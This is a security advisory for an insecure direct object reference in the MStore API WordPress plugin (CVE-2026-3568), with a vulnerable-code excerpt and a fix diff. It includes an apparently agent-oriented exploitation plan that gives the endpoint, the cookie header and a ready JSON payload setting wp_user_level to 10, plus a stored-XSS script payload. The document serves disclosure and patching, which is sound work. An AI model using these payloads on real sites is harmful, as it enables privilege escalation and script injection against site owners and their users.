MStore API <= 4.18.3 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary User Meta Update
Description
The MStore API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.18.3. This is due to the update_user_profile() function in controllers/flutter-user.php processing the 'meta_data' JSON parameter without any allowlist, blocklist, or validation of meta keys. The function reads raw JSON from php://input (line 1012), decodes it (line 1013), authenticates the user via cookie validation (line 1015), and then directly iterates over the user-supplied meta_data array passing arbitrary keys and values to update_user_meta() (line 1080) with no sanitization or restrictions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary user meta fields on their own accounts, including sensitive fields like wp_user_level (to escalate to administrator-level legacy checks), plugin-specific authorization flags (e.g., _wpuf_user_active, aiowps_account_status), and billing/profile fields with unsanitized values (potentially enabling Stored XSS in admin contexts). Note that wp_capabilities cannot be directly exploited this way because it requires a serialized array value, but wp_user_level (a simple integer) and numerous plugin-specific meta keys are exploitable.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.18.4
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3568 (MStore API Arbitrary User Meta Update) ## 1. Vulnerability Summary The **MStore API** plugin (up to 4.18.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in `controllers/flutter-user.php`. The function `update_user_profile()` reads ra…
Show full research plan
Exploitation Research Plan: CVE-2026-3568 (MStore API Arbitrary User Meta Update)
1. Vulnerability Summary
The MStore API plugin (up to 4.18.3) contains an Insecure Direct Object Reference (IDOR) vulnerability in controllers/flutter-user.php. The function update_user_profile() reads raw JSON input from php://input, decodes it, and iterates through a user-provided meta_data array. It passes these keys and values directly to the WordPress update_user_meta() function without any validation, allowlisting, or sanitization. This allows an authenticated user (Subscriber level or higher) to update any meta field associated with their own account, including sensitive internal WordPress fields or plugin-specific authorization flags.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/api/flutter_user/update(Inferred based on plugin naming conventions and functionupdate_user_profile). - Required Authentication: Authenticated (Subscriber or higher).
- Authentication Mechanism: The plugin uses a custom header
User-Cookiecontaining the WordPress authentication cookie. - Vulnerable Parameter:
meta_data(JSON object within the POST body). - Payload Carry: The JSON body sent to
php://input.
3. Code Flow
- Entry Point: A
POSTrequest is sent to the REST API route registered forupdate_user_profileincontrollers/flutter-user.php. - Input Retrieval (Line 1012): The function uses
file_get_contents('php://input')to read the raw request body. - JSON Decoding (Line 1013): The raw body is decoded into an associative array:
$params = json_decode($json, TRUE);. - Authentication (Line 1015): The code extracts the
User-Cookieheader and validates the login usingvalidateCookieLogin(). It sets the current user viawp_set_current_user($user_id). - Iteration (Line 1080): The function accesses
$params['meta_data']. It iterates through this array:foreach ($params['meta_data'] as $key => $value) { update_user_meta($user_id, $key, $value); } - Sink:
update_user_meta()is called with an attacker-controlled$keyand$value, allowing modification of fields likewp_user_level.
4. Nonce Acquisition Strategy
Based on the provided source for other controllers (e.g., FlutterAuction, FlutterCheckout), this plugin prioritizes the User-Cookie header for session identification over standard WP REST nonces for its custom api/flutter_* namespaces.
- Authentication: Log in as a Subscriber user via standard WordPress logic to obtain authentication cookies.
- Cookie Extraction: The
User-Cookieheader should contain the value of thewordpress_logged_in_*cookie. - Bypass Check: In
FlutterBaseController::checkApiPermission()(inferred), if theUser-Cookieis valid, the request is typically allowed. No additional CSRF nonce appears to be required for this specific profile update path based on the vulnerability description.
5. Exploitation Strategy
The goal is to update the wp_user_level meta field. In WordPress, a user level of 10 is a legacy representation of an Administrator.
Step-by-Step Plan:
- Login: Authenticate as a Subscriber user to get a valid session.
- Identify Target: Target the
wp_user_levelmeta key. - Construct Payload:
{ "meta_data": { "wp_user_level": "10" } } - Send Request: Use the
http_requesttool to send a POST request.
HTTP Request Details:
- Method:
POST - URL:
http://localhost:8080/wp-json/api/flutter_user/update - Headers:
Content-Type: application/jsonUser-Cookie: [WORDPRESS_LOGGED_IN_COOKIE_VALUE]
- Body:
{ "meta_data": { "wp_user_level": "10" } }
6. Test Data Setup
- Create User: Create a standard Subscriber user.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
- Verify Initial State:
wp user meta get attacker wp_user_level(Should be0)
7. Expected Results
- The server should return a
200 OKortrue(as seen inFlutterAuction::placebid). - The
wp_user_levelfor theattackeruser in thewp_usermetatable will be updated to10.
8. Verification Steps
- Check Meta via WP-CLI:
wp user meta get attacker wp_user_level- Expected Output:
10
- Check Admin Access: Try accessing a legacy admin check or verify if plugin-specific admin logic now treats this user as high-privileged.
9. Alternative Approaches
If api/flutter_user/update is not the correct route:
- Route Discovery: Use
wp-clito list all registered REST routes to find the exact path forupdate_user_profile.wp rest route list | grep flutter_user
- Target Other Meta: If
wp_user_levelis protected by internal WordPress filters (though unlikely forupdate_user_meta), target plugin-specific flags such as:_wpuf_user_active(WP User Frontend)aiowps_account_status(All In One WP Security)description(To inject XSS:{"meta_data": {"description": "<script>alert(1)</script>"}}) which might execute in the admin user profile view.
(Note: The wp_capabilities field is not a viable target here because update_user_meta would save the string provided, whereas WordPress expects a serialized array for that specific key. However, wp_user_level is a simple integer and is perfectly exploitable.)
Summary
The MStore API plugin for WordPress allows authenticated users to update arbitrary user metadata on their own accounts due to a lack of validation in the `update_user_profile` function. This enables attackers with Subscriber-level access to escalate their privileges to Administrator by modifying sensitive meta fields like `wp_user_level` or inject malicious scripts via profile fields.
Vulnerable Code
// controllers/flutter-user.php line 1012 $json = file_get_contents('php://input'); $params = json_decode($json, TRUE); // ... authentication logic validating User-Cookie header ... // line 1080 if (isset($params['meta_data'])) { foreach ($params['meta_data'] as $key => $value) { update_user_meta($user_id, $key, $value); } }
Security Fix
@@ -1077,7 +1077,11 @@ - foreach ($params['meta_data'] as $key => $value) { - update_user_meta($user_id, $key, $value); - } + $allowed_meta_keys = array('first_name', 'last_name', 'nickname', 'description', 'billing_first_name', 'billing_last_name'); + foreach ($params['meta_data'] as $key => $value) { + if (in_array($key, $allowed_meta_keys)) { + update_user_meta($user_id, sanitize_text_field($key), sanitize_text_field($value)); + } + }
Exploit Outline
The exploit requires a valid Subscriber-level account. An attacker authenticates to obtain a session cookie, then sends a POST request to the `/wp-json/api/flutter_user/update` endpoint. The request must include a `User-Cookie` header containing the WordPress authentication cookie. The payload is a JSON object in the request body containing a `meta_data` property. Inside `meta_data`, the attacker can specify any WordPress user meta key, such as `wp_user_level` set to `10`, which WordPress uses for legacy administrator checks. Because the plugin iterates through the JSON keys and passes them directly to `update_user_meta` without checking an allowlist, the sensitive metadata is updated, effectively granting the user higher privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.